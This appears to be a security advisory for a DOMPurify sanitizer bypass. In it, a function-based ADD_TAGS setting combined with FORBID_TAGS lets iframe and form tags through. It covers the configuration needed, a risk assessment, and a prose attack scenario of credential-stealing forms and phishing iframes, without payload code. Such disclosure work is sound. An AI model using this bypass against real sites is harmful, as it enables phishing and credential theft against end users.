DOMPurify CVE-2026-41240

Exploitation requires that the application explicitly configure DOMPurify with both (1) a function-based ADD_TAGS predicate (not a static array), AND (2) a FORBID_TAGS configuration that lists dangerous tags such as iframe, form, object, or embed. This specific combination is uncommon because most sanitization configurations rely on either an explicit allowlist (ADD_TAGS as array) or a denylist (FORBID_TAGS) but not a function-based addition pattern. The vulnerability does not affect applications that use FORBID_TAGS alone without ADD_TAGS, or applications that use static array ADD_TAGS. No special user interaction or authentication is required; the attacker simply needs to supply malicious HTML input to the sanitizer (e.g., via form submission, API endpoint, or templating context). The vulnerability is automatically triggered once the above configuration is active in the application.

While CVSS vector and EPSS score are not provided, the vulnerability presents moderate to high risk for deployments relying on DOMPurify for XSS protection with function-based ADD_TAGS configuration. The attack vector is network-based (malicious HTML input supplied to the sanitizer), requires no authentication, and succeeds against default configurations that use the vulnerable pattern. However, exploitation is conditional on a specific configuration choice (function-based ADD_TAGS combined with FORBID_TAGS) that may be uncommon in production code. The CWE-79 classification and the presence of working proof-of-concept confirm the XSS impact. The inconsistency with FORBID_ATTR (which was previously fixed) suggests this was an oversight in a targeted security fix. Risk is elevated for applications that explicitly use function predicates for tag allowlisting while also maintaining FORBID_TAGS lists, or for security-conscious developers who added the function-based ADD_TAGS pattern after the FORBID_ATTR fix was announced. No active exploitation in the wild is known at the time of analysis (CVE appears to be newly published), but the PoC is publicly available and trivial to execute.

An attacker submits user-generated content (e.g., a forum post or comment) containing an iframe or form element to a web application that sanitizes HTML via DOMPurify with function-based ADD_TAGS enabled and FORBID_TAGS set to block dangerous elements. The vulnerable sanitizer allows the iframe or form to pass through with its attributes (src, action) intact. The attacker's iframe points to an external phishing site, or the form redirects stolen credentials to an attacker-controlled server, compromising end users.